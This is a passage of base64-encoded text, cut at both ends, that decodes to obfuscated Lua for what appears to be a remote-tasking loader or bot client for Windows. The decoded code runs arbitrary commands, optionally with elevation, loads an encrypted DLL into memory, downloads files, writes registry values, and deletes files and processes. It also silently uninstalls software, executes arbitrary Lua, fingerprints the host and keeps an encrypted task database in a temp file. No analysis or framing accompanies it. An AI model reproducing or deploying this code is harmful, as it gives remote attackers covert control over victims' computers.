LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
